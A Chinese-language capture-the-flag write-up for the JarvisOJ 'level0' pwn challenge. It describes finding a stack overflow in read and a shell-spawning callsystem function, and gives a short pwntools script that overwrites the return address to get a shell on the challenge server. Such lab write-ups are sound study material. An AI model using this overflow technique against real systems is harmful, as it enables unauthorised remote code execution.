题目地址

https://dn.jarvisoj.com/challengefiles/level0.b9ded3801d6dd36a97468e128b81a65d

 

第一步先看文件的属性    64位

Pwn-level0

 之后检查保护性

Pwn-level0

 

 用IDA打开,观察伪代码F5
Pwn-level0

 跳出hello world,然后返回vulnerable_function函数

Pwn-level0

 这边发现一个可以直接get shell的函数callsystem

Pwn-level0

 

read函数存在栈溢出,我们可以利用栈溢出把返回地址覆盖程callsystem的入口地址

Pwn-level0

 Pwn-level0

需要覆盖0x88个字符(0x80+0x8)

 

利用代码如下

from pwn import *
r=remote('pwn2.jarvisoj.com',9881)
payload='a'*0x88+p64(0x400596)
r.sendline(payload)
r.interactive()

执行

Pwn-level0

 

 



 

相关文章:

  • 2021-11-14
  • 2021-10-16
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2021-12-06
  • 2022-12-23
  • 2021-11-03
猜你喜欢
  • 2021-08-25
  • 2021-09-24
  • 2022-12-23
  • 2021-05-24
  • 2021-08-24
  • 2021-11-14
  • 2021-04-07
相关资源
相似解决方案